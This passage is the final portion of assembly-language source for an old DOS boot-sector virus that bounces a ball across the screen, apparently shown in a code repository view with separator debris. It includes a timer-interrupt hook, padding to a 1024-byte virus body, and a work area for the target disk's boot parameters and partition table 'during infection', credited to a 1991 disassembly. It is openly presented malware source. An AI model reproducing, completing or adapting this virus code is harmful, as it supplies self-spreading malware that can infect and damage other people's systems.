MOV AX,0907H ; using CHR$(7) as the character.
|
||||
INT 10H
|
||||
POP DX ;Get old cursor position.
|
||||
MOV AH,02H ;Move cursor back to that position.
|
||||
INT 10H
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore affected registers.
|
||||
POP AX
|
||||
POP DS
|
||||
INT8_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
|
||||
|
||||
ORG_CHAR DW ? ;Original screen character and attribute.
|
||||
BALL_POS DW ? ;Bouncing ball's XY position.
|
||||
BALL_INC DW ? ;Ball's XY increment
|
||||
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
|
||||
VIDEO_PARAMS DW ? ;Mode number and page number.
|
||||
SCRN_COLS DB ? ;Number of screen columns minus 1
|
||||
|
||||
VIRUS_LENGTH EQU $-START_HERE
|
||||
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
|
||||
|
||||
;******************** End of virus code! **************************************
|
||||
|
||||
ORG 0400H ;Work area for the virus
|
||||
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
|
||||
_JMP_INST DW ?
|
||||
_NOP_INST DB ?
|
||||
|
||||
_OEM_ID DB 8 DUP(?)
|
||||
_BYTES_PER_SEC DW ?
|
||||
_SEC_PER_CLU DB ?
|
||||
_RES_SECTORS DW ?
|
||||
_FAT_COPIES DB ?
|
||||
_DIR_ENTRIES DW ? ;This is the BPB of the target
|
||||
_TOTAL_SECTORS DW ? ; disk during infection.
|
||||
_MEDIA_DESCRIP DB ?
|
||||
_SEC_PER_FAT DW ?
|
||||
_SEC_PER_TRK DW ?
|
||||
_SIDES_ON_DISK DW ?
|
||||
_HIDDEN_SECTORS DW ?
|
||||
|
||||
ORG 05BEH
|
||||
PARTITION_TABLE LABEL NEAR
|
||||
|
||||
ORG 05F3H
|
||||
_CUR_FAT_SECTOR DW ?
|
||||
_SYSTEM_SECTORS DW ?
|
||||
_FLAGS DB ?
|
||||
_DRIVE DB ?
|
||||
_PART2_SECTOR DW ?
|
||||
_CONTINUATION DB ?
|
||||
ORG 05FCH
|
||||
_VIRUS_SIG DW ?
|
||||
_BIOS_SIG DW ? ;Should always be 0AA55h
|
||||
VIRUS ENDS
|
||||
END
|
||||
|
||||
;Original virus disassembly by James L. July 1991
|
||||
;Clean version written by James L. July 1991
|
||||
;# EOF #;
|
||||
Reference in New Issue
Block a user